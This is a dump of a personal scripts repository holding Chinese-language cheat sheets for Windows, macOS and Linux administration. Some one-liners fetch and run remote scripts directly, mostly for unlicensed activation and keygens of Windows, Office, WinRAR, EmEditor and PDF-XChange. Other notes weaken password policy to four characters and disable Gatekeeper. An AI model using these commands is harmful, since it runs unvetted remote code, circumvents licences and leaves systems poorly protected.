Repository: hoochanlon/scripts Branch: main Commit: afbcd3318e1e Files: 212 Total size: 1.4 MB Directory structure: gitextract_0nk8wkte/ ├── .gitattributes ├── AQUICK/ │ ├── BCHEATS/ │ │ ├── CHEATS-ACT.md │ │ ├── CHEATS-LINUX.md │ │ ├── CHEATS-MAC.md │ │ └── CHEATS-WIN.md │ ├── BITRH/ │ │ └── Win10_Events_ID_useful.xlsx │ ├── CLINUX/ │ │ ├── LINUXINTRO-0.md │ │ ├── LINUXINTRO-1.md │ │ ├── LINUXINTRO-2.md │ │ ├── LINUXINTRO-3.md │ │ ├── LINUXNANO-0.md │ │ ├── LINUXNANO-1.md │ │ ├── LINUXNANO-2.md │ │ ├── LINUXNANO-3.md │ │ ├── LINUXNANO-4.md │ │ ├── LINUXNANO-5.md │ │ ├── LINUXSWAP-0.md │ │ ├── LINUXSWAP-1.md │ │ ├── LINUXZERO-0.md │ │ ├── LINUXZERO-1.md │ │ ├── LINUXZERO-2.md │ │ ├── LINUXZERO-3.md │ │ └── LINUXZERO-4.md │ ├── CPYTHON/ │ │ ├── pachong001.md │ │ ├── pachong002.md │ │ ├── pachong003.md │ │ ├── pachong004.md │ │ ├── pacong005.text │ │ ├── pythonBshit001.md │ │ └── readme.md │ ├── CRuby/ │ │ └── readme.txt │ ├── DTRASH/ │ │ ├── Dism++.md │ │ ├── DriverBooster.md │ │ ├── Windowsjxjbcg.md │ │ ├── bossAPI.md │ │ ├── choice_wdrt.md │ │ ├── diss_windows_update.md │ │ ├── emeditor.md │ │ ├── exif_test_pic/ │ │ │ └── readme.txt │ │ ├── mac_corn_diy_wallpaper.md │ │ ├── regfinder.md │ │ ├── xlgzgxwwpc.md │ │ ├── zhihu.md │ │ ├── zhihuapi.md │ │ ├── zixfx.md │ │ └── zzchinanewslc.md │ ├── category_news.json │ └── readme.md ├── Gemfile ├── PICGO.md ├── README.md ├── d-apple/ │ ├── no_ms_autoupdate.scpt │ └── office2021.scpt ├── d-bat/ │ ├── add_env_path.bat │ ├── auto_request.bat │ ├── choice_wdrt.bat │ ├── clean_icon_cache.bat │ ├── clear_nullify_startup_reg.bat │ ├── demo.bat │ ├── deny_chrome_update.bat │ ├── fix_0x11b_share_print.bat │ ├── fuck_dingding.bat │ ├── fxxk_chxxa.bat │ ├── icon_bar_reset.bat │ ├── ie_web_setting_demo.bat │ ├── install_jdk.bat │ ├── keep_ie.bat │ ├── md5tools.bat │ ├── mieba.bat │ ├── nano_runas.bat │ ├── oh_my_wifi.bat │ ├── only_install_chrome65.bat │ ├── re_update.bat │ ├── reset_keep_ie.bat │ ├── right-menu.bat │ ├── saigonoie.bat │ ├── seven_z_sensei.bat │ ├── show_wifi.bat │ ├── stop_update.bat │ ├── unlockapp.bat │ ├── webtools.bat │ ├── weipe_showip.bat │ ├── winrar_down_reg.bat │ └── zhuang_ji_yuan.bat ├── d-bat-dc/ │ ├── readme.txt │ ├── 从网络共享复制到本地,更新hosts.bat │ ├── 定时关机.bat │ └── 自动内外网识别与切换.bat ├── d-ipynb/ │ ├── “小粉红”群体分析.ipynb │ ├── 亚文化视域评论及弹幕调研.ipynb │ ├── 就业形势分析及预防欺诈对策.ipynb │ ├── 平台兼容问题.ipynb │ ├── 打印机自动化安装研究.ipynb │ ├── 民生及时评类新闻基础分析.ipynb │ ├── 读《“帝吧出征”事件中话语表达与社群动员研究》.ipynb │ ├── 读《数字原住民网络潜水动因实证研究》.ipynb │ └── 读《论马克思主义威望下降的原因》.ipynb ├── d-json/ │ ├── bosszhipin_citycode.json │ ├── category_news.json │ ├── category_news_demo.json │ ├── dingyu_demo.json │ ├── exam_zhipin_demo.json │ ├── fenlei_pypt.json │ └── thulac_wd_attr_cn.json ├── d-latex/ │ ├── figures/ │ │ └── readme.txt │ └── latexdemo.tex ├── d-pwsh/ │ ├── add_env_path.ps1 │ ├── clac_ie_clearablelistdata_hex.ps1 │ ├── emeditor_random_keygen.ps1 │ ├── ez_auto_install.ps1 │ ├── ez_edit_net.ps1 │ ├── fail_idm.ps1 │ ├── frontline_helpdesk.ps1 │ ├── photoview.ps1 │ ├── win11_htp_active_lite.ps1 │ └── xchange_v8_active.ps1 ├── d-pwsh-dc/ │ ├── NTFS权限基础上转换为共享权限.ps1 │ ├── readme.txt │ ├── 个别组员加权限.ps1 │ ├── 修改共享文件夹名称不影响共享和安全权限.ps1 │ ├── 删除所有共享文件夹中的未知用户权限模板.ps1 │ ├── 删除未知用户共享文件夹权限模板.ps1 │ ├── 删除未知用户文件夹安全权限模板.ps1 │ ├── 删除根目录中所有文件夹中包含未知用户的安全权限模板.ps1 │ ├── 域用户导出.ps1 │ ├── 多个共享文件夹授权读写权限.ps1 │ ├── 恢复域用户模板.ps1 │ ├── 恢复组织单元模板.ps1 │ ├── 批量创建用户.ps1 │ ├── 批量删除用户.ps1 │ ├── 批量授权质检目录访问权限.ps1 │ ├── 批量特定授权.ps1 │ ├── 指定文件夹所有成员读写.ps1 │ ├── 指定文件夹所有成员读取.ps1 │ ├── 文件夹权限模板.ps1 │ ├── 查看用户在哪些共享文件夹有相关权限.ps1 │ ├── 根据成员名单及文件夹名单指定读写.ps1 │ ├── 根据文本内容批量添加相关权限.ps1 │ ├── 灵活加权限.ps1 │ ├── 生产作业1 读取、生产作业2 读写的批量操作.ps1 │ ├── 生成华三导入.ps1 │ ├── 移除权限模板.ps1 │ ├── 移除用户所有涉及到的共享文件夹权限.ps1 │ └── 组织单元成员迁移.ps1 ├── d-python/ │ ├── PDFtoPNG.py │ ├── autologin.py │ ├── get_bing_wallpapers.py │ ├── get_bv_baseinfo.py │ ├── get_chinanews.py │ ├── get_resou_today.py │ ├── get_resou_today_s.py │ ├── get_rumor_analysis.py │ ├── get_worldometers.py │ ├── mac_ntfs_ninja.py │ ├── output_json_for_regex.py │ ├── zhihu_answers_demo.py │ └── zhipin_demo.py ├── d-python-datacom/ │ ├── readme.txt │ ├── 交换机FTP服务器下载备份文件到本地.py │ ├── 交换机缓冲区日志备份.py │ ├── 单个交换机配置备份模板.py │ ├── 批量上传交换机配置到本地FTP.py │ ├── 批量交换机配置备份.py │ └── 网络切换及状态标注.py ├── d-python-dc/ │ └── watermark/ │ ├── backup/ │ │ ├── screen_watermark_qt5.py │ │ ├── screen_watermark_qt5_oblique_old.py │ │ ├── screen_watermark_qt5_old.py │ │ ├── screen_watermark_tkinter.py │ │ └── screen_watermark_tkinter_old.py │ ├── hostname_user_ip_date.py │ ├── main.py │ ├── readme.md │ ├── requirements.txt │ ├── screen_watermark_qt5.py │ ├── screen_watermark_qt5_oblique.py │ └── screen_watermark_tkinter.py ├── d-ruby/ │ ├── get_chinanews.rb │ ├── get_msdesign_wallpapers.rb │ ├── nbview.rb │ └── ntfs_ripper.rb ├── d-shell/ │ ├── 7z_rar_sensei.sh │ ├── diy_add_wheel.sh │ ├── lite_ssh_n_ban.sh │ ├── lite_vsftpd.sh │ ├── low_scan_for_winrar.sh │ ├── mac_corn_diy_wallpaper.sh │ ├── mac_show_wifi.sh │ ├── mac_systeminfo.sh │ ├── no_oh_my_zsh.sh │ ├── ntfs_ninja.sh │ ├── simple_ban.sh │ ├── simple_ssh.sh │ ├── simple_vsftpd.sh │ ├── simple_wheel.sh │ ├── static_route.sh │ ├── study_nmcil.sh │ ├── study_nmcil2.sh │ ├── used_proxychains.sh │ └── webtools.sh ├── d-txt/ │ ├── cn_stopwords.txt │ ├── rarpasswd.txt │ └── requirements.txt └── d-xlsx/ ├── 2023-06-20基线检查报表.xlsx ├── 2023-06-26_B站视频基础信息调研.xlsx ├── SSH登记表.csv ├── chinanews_2023-5-3.xlsx ├── piyao_2023-06-17.xlsx ├── resoubang_2023-05-07.xlsx ├── resoubang_2023-05-15.xlsx ├── worldometers_2023-4-27.csv ├── worldometers_2023-4-29.xlsx └── 交换机账号清单.csv ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ *.json linguist-detectable=false *.scpt AppleScript *.ipynb linguist-detectable=false ================================================ FILE: AQUICK/BCHEATS/CHEATS-ACT.md ================================================ ### 激活Windows 一键切换Windows版本 ``` curl -O https://ghproxy.com/https://raw.githubusercontent.com/TerryHuangHD/Windows10-VersionSwitcher/master/Switch.bat&&TIMEOUT /T 1&&start /b Switch.bat ``` 一键激活微软服务(powershell) ``` irm https://massgrave.dev/get | iex ``` 整合 ``` curl -O https://ghproxy.com/https://raw.githubusercontent.com/TerryHuangHD/Windows10-VersionSwitcher/master/Switch.bat&&TIMEOUT /T 1&&start Switch.bat&&powershell -command "irm https://massgrave.dev/get|iex" ``` ### 激活Windows(script test) 以管理员运行cmd,一键起飞 ``` curl -O https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/win11_htp_active_lite.ps1&&TIMEOUT /T 1&&start /b powershell win11_htp_active_lite.ps1 ``` 以管理员运行powershell,一键起飞 ``` curl https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/win11_htp_active_lite.ps1 -Outfile win11_htp_active_lite.ps1 | powershell -c win11_htp_active_lite.ps1 ``` ### 注册WinRAR 以管理员运行cmd,一键下载安装及注册WinRAR ```batch curl -O https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/winrar_down_reg.bat&&TIMEOUT /T 1&&start /b winrar_down_reg.bat ``` ### 注册emeditor cmd的curl下载,文件默认会在命令行所在当前目录(管理员权限 /system32,平常打开 /用户名),powershell和管理员的界面默认会从system32里找文件,所以也能容易出错。 ``` curl -O https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/emeditor_random_keygen.ps1&&powershell -c emeditor_random_keygen.ps1 ``` 附龟速下载 ```powershell (new-object System.Net.WebClient).DownloadFile("https://support.emeditor.com/en/downloads/latest/installer/64","c:/editor.exe") ``` ### 注册xchange pdf powershell以管理员权限运行。注意当前目录,curl输出到当前所在目录,powershell的命令会在system32找文件或命令,自然就会报错了。 ``` curl https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/xchange_v8_active.ps1 -Outfile xchange_v8_active.ps1 | powershell -c xchange_v8_active.ps1 ``` ================================================ FILE: AQUICK/BCHEATS/CHEATS-LINUX.md ================================================ ## simple used Linux 🧪 简单用ssh ``` sudo bash -c "$(curl -fsSL "https://ghproxy.com/https://github.com/hoochanlon/ihs-simple/blob/main/simple_ssh.sh")" ``` ================================================ FILE: AQUICK/BCHEATS/CHEATS-MAC.md ================================================ # Mac指令速记即用 `sudo -S`之后的操作可不用输密码;终端挂载不休眠`caffeinate`,以及安装` neofetch` 可查看系统资料。`tldr`比`man`更好用。 ### vim日常操作 --- * 显示行数,`set nu`,删除当前行,`dd`;删除X-Y行,`24,30d`。 * 将X-Y行复制,`24,30 copy`;将X-Y行剪切至Z行,`24,30 move 10`。 * 将所有星号替换为减号,`%s/*/-/`;定位特定行,替换字符,`10,50s/word1/word2/`。 * “yy”复制当前行;p贴在下一行;重复上回单次操作键盘“.”。 * ”u“撤销,”ctrl+r” 前进。 --- ### 个人常用的Shell #### 简化解除软件门禁指令 保存别名到存档配置文件,已软件签名为例 * ls >> test.txt 定向输入到文件,echo 输入可自动换行 * 配置存档 for Mac,新版为`~/.zshrc` * 参考:[Catalina以后的系统添加别名](https://blog.csdn.net/weixin_26737625/article/details/108259518)、[macOS Command - xattr](https://blog.csdn.net/lovechris00/article/details/113060237) ``` echo "alias sign='sudo xattr -d com.apple.quarantine'" >> ~/.zshrc ``` #### 安装允许任何来源 ``` sudo spctl --master-disable ``` #### 修复程序启动以及打开方式重复的bug ``` /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -kill -r -domain local -domain system -domain user ``` #### 把文件扔进垃圾桶 ``` trash /Users/chanlonhoo/未命名文件夹 ``` #### App Store下载出问题用终端的应用商店mas ``` brew install mas mas search bear mas install 1091189122 ``` #### 截图 更改默认前缀 ``` defaults write com.apple.screencapture name "catch" ``` 更改截图文件类型jpg ``` defaults write com.apple.screencapture type jpg ``` #### 复制路径 复制当前路径 ``` pwd|pbcopy ``` 参考:[Linux 系统中“|”管道的作用是什么](https://zhidao.baidu.com/question/548984916.html) 把长串目录临时设置变量 ``` # 设置变量,并进入改变量目录 workdir='/filer/home/xiaoming'|cd $workdir # 写入文件永久执行 echo "export workdir='/filer/home/xiaoming'" >> ~/.bash_profile ``` 改写:[百度知道-linux 把长路径名赋值给变量](https://zhidao.baidu.com/question/2206329112263835988.html) #### 查看系统启动时间及信息 启动时间 ``` uptime ``` 系统信息 ``` brew install neofetch && neofetch ``` #### 替换搜索工具find与安装目录切换工具 ``` brew install fd && brew install z ``` #### 原生查看系统信息并简化 * 将指令参数等重命名为`systeminfo`,简化命令字母单词 * `>>` 并写配置文件` ~/.zshrc`永久保存 ``` echo "alias systeminfo='system_profiler SPSoftwareDataType SPHardwareDataType'" >> ~/.zshrc ``` #### brew查看安装过的东西 其中cask是增强包 ``` brew list ``` #### git使用ssh 生成 ssh key 并复制密钥内容 参考:[码农家园-为什么要在ssh-keygen中使用`-t rsa -b 4096`?](https://www.codenong.com/51834225/) ``` ssh-keygen -t rsa -b 4096 -C \ "youmail@outlook.com" \ && pbcopy < ~/.ssh/id_rsa.pub ``` 测试链接 ``` ssh -T git@gitlab.com ``` #### 对查看IP地址命令进行简化,`ip` 内网 ``` echo "alias ip=ipconfig getifaddr en0" >> ~/.zshrc ``` 外网 ``` curl cip.cc ``` 参考:https://www.yundongfang.com/Yun124125.html #### 清除DNS缓存 ``` sudo dscacheutil -flushcache ``` #### 查看磁盘空间 ``` brew install duf && duf --all ``` #### 查看隐藏文件 ``` ls -al ``` ### [Nigate Free-NTFS-for-Mac](https://github.com/hoochanlon/Free-NTFS-for-Mac) #### Homebrew(Mac、Linux) ``` /bin/bash -c "$(curl -fsSL https://gitee.com/ineo6/homebrew-install/raw/master/install.sh)" ``` #### 下载文件内容写入到某个位置 参考:[入门小站-linux之curl使用技巧](https://baijiahao.baidu.com/s?id=1714333474878440110) ``` curl https://fastly.jsdelivr.net/gh/hoochanlon/Free-NTFS-for-Mac/nigate.sh > ~/Public/nigate.sh ``` #### 在线执行脚本 * `/bin/bash -c`使用bash执行 * `-fsSL` * -f(--fail) — 表示在服务器错误时,阻止一个返回的表示错误原因的 HTML 页面 * -L(--location) — 参数会让 HTTP 请求跟随服务器的重定向。 * -S(--show-error) — 指定只输出错误信息,通常与 -s 一起使用。 * -s(--silent) — 不显示错误和进度信息。 参考:[csdn-curl -fsSL](https://blog.csdn.net/weixin_46267040/article/details/125370144),顺便提一嘴无关紧要的[终端小游戏](http://www.nndssk.com/xtwt/1479093c5Wg3.html) ``` /bin/bash -c "$(curl -fsSL https://cdn.statically.io/gh/hoochanlon/Free-NTFS-for-Mac/main/nigate.sh)" ``` #### 指令别名与文件软链接 说人话就是把长的命令变成几个字母的单词(别名),文件建立个快捷方式(软链接) * 文件类型需要用到软链接,不能用别名,别名只适用于命令 * 别名只能生效于本机已存在的文件,curl 那么就用不了了 参考:[csdn-创建mac软件快捷启动方式 软连接方式ln -s](https://blog.csdn.net/guokaigdg/article/details/89457317) ``` sudo /usr/local/bin ln -s \ ~/Public/nigate.sh nigate.shortcut \ && echo "alias nigate='bash nigate.shortcut'" >> ~/.zshrc ``` ================================================ FILE: AQUICK/BCHEATS/CHEATS-WIN.md ================================================ ### win11 home to pro 升级了,但没激活。[代码出处 akbch/win11-home-to-pro](https://github.com/pakbch/win11-home-to-pro/blob/main/code.bat) ``` sc config LicenseManager start= auto & net start LicenseManager sc config wuauserv start= auto & net start wuauserv changepk.exe /productkey VK7JG-NPHTM-C97JM-9MPGT-3V66T exit ``` 微软产品激活。详情:https://massgrave.dev ``` irm https://massgrave.dev/get | iex ``` 去你的!一步到位!我全都要! ``` curl -O https://ghproxy.com/https://raw.githubusercontent.com/TerryHuangHD/Windows10-VersionSwitcher/master/Switch.bat&&TIMEOUT /T 1&&start Switch.bat&&powershell -command "irm https://massgrave.dev/get|iex" ``` ### 提升管理权限 https://zhidao.baidu.com/question/1431089222201948539.html 家庭版,嫌麻烦,没做 ### 写入hosts 详情见:`xcopy /?`,大意将文件全部复制到一个新目录(xcopy特性)存放,再排除重复操作的报错。 ``` @xcopy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.bak\ /d /c /i /y ``` 利用如上逻辑进行还原,即原备份文件覆盖。 ``` @copy C:\Windows\System32\drivers\etc\hosts.bak\hosts C:\Windows\System32\drivers\etc\hosts /y ``` 写入 ``` @echo 117.79.149.116 search.b2b.cn >>C:\Windows\System32\drivers\etc\hosts ``` 参考: [windwos使用CMD命令添加hosts的方法](https://blog.csdn.net/pokes/article/details/122179412) ### 复制与粘贴文本 快速回到桌面 ``` cd %userprofile%\desktop ``` 参考:[jack孟-Windows系统,命令行窗口里的内容复制到剪贴板](https://www.cnblogs.com/mq0036/p/16285243.html) ### 结束进程 `/IM` 指定进程名称,这比PID好多了。 ``` TASKKILL /F /IM PDFXHost32.exe ``` 参考:[csdn-taskkill /f /im *.exe 的作用](https://blog.csdn.net/ccf19881030/article/details/119040631) ### 防火墙 查看防火墙状态 ``` netsh advfirewall show allprofiles ``` 打开/关闭防火墙 ``` netsh advfirewall set allprofiles state on/off ``` 添加限制程序联网规则 ``` netsh advfirewall firewall add rule name="no_ie_for_em" dir=out program="%localappdata%\Programs\EmEditor\emeditor.exe" action=block ``` 让Windows防火墙允许或禁止 ping ``` netsh firewall set icmpsetting 8 netsh firewall set icmpsetting 8 disable ``` 新版 ``` netsh advfirewall firewall add rule name="ICMP Allow incoming V4 echo request" protocol=icmpv4:8,any dir=in action=allow/block ``` 参考: * [learn.microsoft](https://learn.microsoft.com/zh-CN/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior) * [csdn-Windows系统设置开启Ping或禁Ping(超详细)](https://blog.csdn.net/wlc_1111/article/details/106048982) * [windows防火墙实验-命令行设置远程桌面连接以及禁止浏览器上网](https://www.bbsmax.com/A/KE5QjnkLdL/) ================================================ FILE: AQUICK/CLINUX/LINUXINTRO-0.md ================================================ # 我的Linux入门之阿里云(免费版)初体验 > 推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、[explainshell](https://www.explainshell.com)、[modern-unix](https://github.com/ibraheemdev/modern-unix)。 一篇用爱发电的落后于时代的Linux折腾记录笔记,被黑客入侵连续入侵两次的新篇总结。 ## SSH连接远程主机 连接主机输入主机密码,设置主机名。 ``` # 连接主机 ssh root@公网IP # 设置主机名 hostnamectl set-hostname xiaohong # 正常设置主机名需要重启,执行bash刷新 bash ```` 配置密码策略,修改密码得像4位数的验证码一样简单。vi /etc/pam.d/system-auth ``` # 密码验证三次,什么大小写特殊字符统统给我去掉 password requisite pam_pwquality.so try_first_pass local_users_only retry=3 password requisite pam_pwquality.so authtok_type= lcredit=0 ucredit=0 dcredit=0 ocredit=0 minlen=4 ``` 然后修改密码:`passwd root` 参考:[csdn-Linux CentOS7 服务器密码策略配置修改](https://blog.csdn.net/Ahuuua/article/details/125333088)、[CentOS操作系统密码复杂度策略查看和设置](https://www.cnblogs.com/wwwcf1982603555/p/15560277.html)。 ## SSH免密登录快速配置 ### 客户端 本机会将这一登录信息保存在`~/.ssh/known_hosts`文件当中,再次登录到远程服务器不用输入密码。 ``` # 参数说明:-t 指定要创建的类型;-b 密钥长度;-f 指定文件名;id_rsa-remotessh 名字随意 ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519-remotessh ``` 自定义名称需额外配置Windows/Mac上的 ~/.ssh/config 文件, IdentityFile ~/.ssh/ed25519-remotessh 来定义公钥与私钥的配对。 ``` Host 101.xxx.xxx.xxx HostName 101.xxx.xxx.xxx User root IdentityFile ~/.ssh/ed25519-remotessh ``` 参考:[51cto-github更新sshkey](https://blog.51cto.com/u_15726470/5576074) "-i"是指定公钥文件上传到服务器。 ``` ssh-copy-id -i .ssh/id_ed25519.pub user@server ``` 输入密码,至此客户端完成操作,下面是服务器端,即远程主机的配置。 ### 服务端 编辑 /etc/ssh/sshd_config 文件,添加如下设置: ``` # 是否允许Public Key PubkeyAuthentication yes # 允许Root登录 PermitRootLogin yes # 设置是否使用口令验证。 PasswordAuthentication no # no 代表任何人远程访问都只能通过密钥,除非去机房或VNC屏幕远程 ``` 重启SSH服务,`systemctl restart sshd.service`。 #### 设置ssh路径下的权限 ``` chmod 700 /home/xxx && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys ``` [经“码司机”的实验](https://blog.csdn.net/qq_39320261/article/details/128342057),“/.ssh”与“ahthorized_keys”不得高于700,“/.ssh”的上层目录不得高于755;而我自己的现场主机是root用户,所以并没有什么相关的权限制约问题。 参考: * [csdn-设置ssh免密不起作用?彻底搞懂密钥】vscode在remote SSH免密远程登录](https://blog.csdn.net/weixin_42907822/article/details/125237307) * [cnblogs-ssh实现免密登录](https://www.cnblogs.com/hongdada/p/13045121.html) * [csdn-【问题解决】解决Linux配置SSH公钥后仍然需要输入密码的问题](https://blog.csdn.net/qq_39320261/article/details/128342057) ## SSH故障排除 ``` > id_rsa 就是私钥文件 > id_rsa.pub 就是公钥文件 > known_host 就是记录你曾经远程连接过的机器信息文件 ``` 此类提示是远程主机未授权给本地 ``` C:\Users\chanlonhoo>ssh root@101.x.xx.xxx root@101.x.xx.xxx: Permission denied (publickey,gssapi-keyex,gssapi-with-mic). ``` 现象:由于ssh的加密性质,电脑重装之后,远程输入密码就登陆不上了。解决办法:电脑设置一次VNC,此时需要删除ssh的hnown_hosts。 ``` rm -rf ~/.ssh/known_hosts && rm -rf ~/.ssh/known_hosts.old ``` 掉线问题,主要看客户端,有些客户端长时间不操作会自动断开。系统默认就是不掉线的,除非配置在`/etc/profile `了 export TMOUT=300。改成如下便可。 vi /etc/ssh/sshd_config ``` # ClientAliveInterval 0 # 客户端每隔多少秒向服务发送一个心跳数据,类似web响应。 # ClientAliveCountMax 3 # 客户端多少秒没有相应,服务器自动断掉连接 ClientAliveInterval 30 ClientAliveCountMax 86400 ``` 并重启ssh服务,`systemctl restart sshd`。 ================================================ FILE: AQUICK/CLINUX/LINUXINTRO-1.md ================================================ # 我的Linux入门之BAN IP的思索 > 一篇用爱发电的落后于时代的Linux折腾记录笔记。推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、[explainshell](https://www.explainshell.com)、[modern-unix](https://github.com/ibraheemdev/modern-unix)。 注:被黑客连续入侵两次主机挖矿后,我决定对这Linux毛坯房进行升级改造。SSH密钥单人还好,多人就先密码处理。可主机暴露在公网,为此也是思索出ban掉对方的策略。 ## 禁止对方搞事 —— BAN IP ### 思路1: 下载tcpdump抓包,脚本写个逻辑程序 💡:到时候自己提取文本、统计相同IP总数、有3次在ping我主机,直接ban ip。 ``` # 下载tcpdump git clone https://github.com/the-tcpdump-group/tcpdump # 查看谁在 ping 我主机 tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -n ``` ### 思路2: 使用ban ip等软件及脚本 常见的有:fail2ban、denyhosts、secure_ssh。这里以fail2ban为例,从下载安装设置自启与启动。 ``` yum install -y fail2ban && systemctl enable fail2ban.service ``` 配置 `vi /etc/fail2ban/jail.conf` ``` # 注意时区问题:systemctl restart rsyslog # 注意端口号:我们修改ssh端口后,fail2ban也需要修改端口号 action = iptables[name=SSH,port=ssh,protocol=tcp] enabled = true filter = sshd logpath = /var/log/secure #日志位置 bantime = 2200 #封锁时间长达三月以上(24*30*3) maxretry = 2 #失败2次即封禁 findtime = 3600 #1小时之内(60*60) # 可以定制化发送邮件 sendmail-whois[name=SSH, dest=your@email.com, sender=fail2ban@example.com,sendername="Fail2Ban"] ``` 启动服务,fail2ban开始生效。 ``` systemctl enable fail2ban.service && systemctl restart fail2ban ``` 日志查看 `cat /var/log/fail2ban.log` 参考: * [oschina-Centos DenyHosts 禁止针对 linux sshd 的暴力破解](https://my.oschina.net/notbad/blog/338545) * [bbsmax-fail2ban的使用以及防暴力破解与邮件预警](https://www.bbsmax.com/A/QW5YD19MJm/) * [csdn-fail2ban配置教程 有效防止服务器被暴力破解](https://blog.csdn.net/qq_44293827/article/details/118641216) * [百度知道-linux中wc -l指令用法,我知道怎么得到一个文件的内容行数,但是是怎么得到多个文件的内容的总行数](https://zhidao.baidu.com/question/1370474194322953939.html) ## 禁止随意乱发洪流,仅限于临时放开 重要:系统是否允许Ping由2个因素决定的:A、内核参数,B、防火墙。 ### 内核关闭ping 编辑 `/etc/sysctl.conf` 然后执行 `sysctl -p` ``` net.ipv4.icmp_echo_ignore_all=1 ``` 参考:[Linux禁止ping、开启ping设置](https://www.bbsmax.com/A/obzbMvAMdE/) ### 防火墙 启动防火墙 `systemctl enable firewalld && systemctl start firewalld` #### 防火墙开启ICMP输入输出。 ``` iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT iptables -A OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT ``` #### 仅放行自己IP示例 加一条就好了,相当于是仅对这一个IP网段放行,别的就拒掉。 ```· firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="22" accept' ``` #### 防火墙ban掉对方ip 禁止192.168.128.137访问主机,如果要取消的话,将`--add`换成`--remove`就好 ``` firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.128.137" drop' ``` 参数:filter,本地数据限制;-s源地址,-d目的地址,-p协议,--dport端口,-j行为/REJECT拒绝/ACCEPT同意/DROP丢弃。 ``` firewall-cmd --direct -add -rule ipv4 filter INPUT 1 -s 172.25.254.50 -p tcp -dport 22 -j REJECT ``` 参考: * [博客园-Linux命令之firewall-cmd](https://www.cnblogs.com/diantong/p/9713915.html) * [chinaunix-Linux使用防火墙firewall-cmd限制ssh只允许从指定IP段或指定源IP访问](http://blog.chinaunix.net/uid-20329764-id-5845291.html) * [csdn-Linux系统上的防火墙命令](https://blog.csdn.net/weixin_43780179/article/details/125046304) * [爱码网-linux下防火墙的管理工具firewall-cmd](https://www.likecs.com/show-203862572.html) ================================================ FILE: AQUICK/CLINUX/LINUXINTRO-2.md ================================================ # 我的Linux入门之限制程序联网 一篇用爱发电的落后于时代的Linux折腾记录笔记。推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、[explainshell](https://www.explainshell.com)、[modern-unix](https://github.com/ibraheemdev/modern-unix)。 ## 用户组规则禁止程序联网 内核级的访问控制,比如SELinux,配置不当容易开不了机,而且很多操作也会受限,极其不方便。这里就只能列出用户规则与软件授权级的控制了。阿里云客服给我找来了[“创建新用户,限制新用户联网”的解决方案](https://www.zhihu.com/question/419420632),着实脑洞新奇。也确实,一个软件可能存在此相关的多个进程联网;而且还要一一知晓每个软件的联网进程名,这太反人类了。 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catzhihufwlinux.png) linux的权限采用的是文件-用户-用户组的模式,创建文件的用户具有文件的所有权限,一旦某个用户被突破,系统的风险的无限加大。 参考: * [csdn-LInux基础——SELinux](https://blog.csdn.net/qq_35258036/article/details/125932224) * [huaweicloud-Ubuntu Apparmor 简介以及如何配置 Apparmor 配置文件](https://bbs.huaweicloud.com/blogs/371946) * [csdn-SELinux如何永久禁用](https://blog.csdn.net/l_liangkk/article/details/114994446) * [aws-在EC2上对SELinux故障进行紧急恢复以及排查的思路及方法](https://aws.amazon.com/cn/blogs/china/ideas-and-methods-for-emergency-recovery-and-troubleshooting-of-selinux-faults-on-ec2/?nc1=h_ls) ### Linux限制网络带宽— —Wondershaper 注意这是不保险的设置: > 上下带宽为0,是表示你没有数据通信,并不表示你上不了网。这要看你在哪里看到的上下带宽了,如果在本地连接上看到的话那就真的上不了网了。我是设置的路由器管理的ip地址上下带宽为0还能上不?可以上网,路由有最低带宽保障的,而且有的还有流量负载均衡,它会自动把空闲流量给你流量设置较小的地址 [百度知道-ip地址上下带宽为0是不是不能上网了?](https://zhidao.baidu.com/question/2052567243210887067.html) ``` # 安装yum软件仓扩展库 sudo yum install epel-release sudo yum install wondershaper sudo systemctl enable wondershaper.service sudo systemctl start wondershaper.service # 上行带宽 -d;下行带宽-u 512. sudo wondershaper -a eth0 -d 0 -u 0 # 解除限制 sudo wondershaper -c eth0 ``` 参考:[在 Linux 中使用 Wondershaper 限制网络带宽](https://zhuanlan.zhihu.com/p/46121687) ================================================ FILE: AQUICK/CLINUX/LINUXINTRO-3.md ================================================ # 我的Linux入门 下载及使用软件 > 一篇用爱发电的落后于时代的Linux折腾记录笔记。推荐Linux参考工具:[linux-command](https://wangchujiang.com/linux-command/)、[explainshell](https://www.explainshell.com)、[modern-unix](https://github.com/ibraheemdev/modern-unix)。 ## 简单使用 首先将压缩软件换成7zip。自带解压上手起来,徒增学习成本,冗长的命令,不方便操作。 ``` # a 添加压缩包 x 解压 # 参考文档:https://wiki.archlinux.org/title/p7zip yum install -y p7zip ``` ## Mac使用SCP上传与拷贝文件 先试试能不能ping通Linux,`ping 101.xx.xx.xx -c 3`。 Mac上传文件到Linux ``` scp /Users/chanlonhoo/Downloads/cake1.PNG root@101.xx.xxx.xxx:/ ``` Mac从Linux上下载文件 ``` scp root@101.xx.xx.xxx:/cake1.PNG /Users/chanlonhoo/Downloads ``` bash: scp: 未找到命令 lost connection;在Linux上安装便可解决。 ``` yum install openssh-clients* ``` 参考:[csdn-bash: scp: 未找到命令 lost connection](https://blog.csdn.net/weixin_44825767/article/details/112209810) ## 下载ClamAV和更新病毒库 给自己来上安慰剂... ``` # freshclam为更新病毒库。 yum install clamav && freshclam ``` 扫描;-r:迭代目录;-l:指定路径;--max-dir-recursion:指定目录层级。 ``` clamscan -r /etc --max-dir-recursion=5 -l /var/log/clamav-scan.log ``` 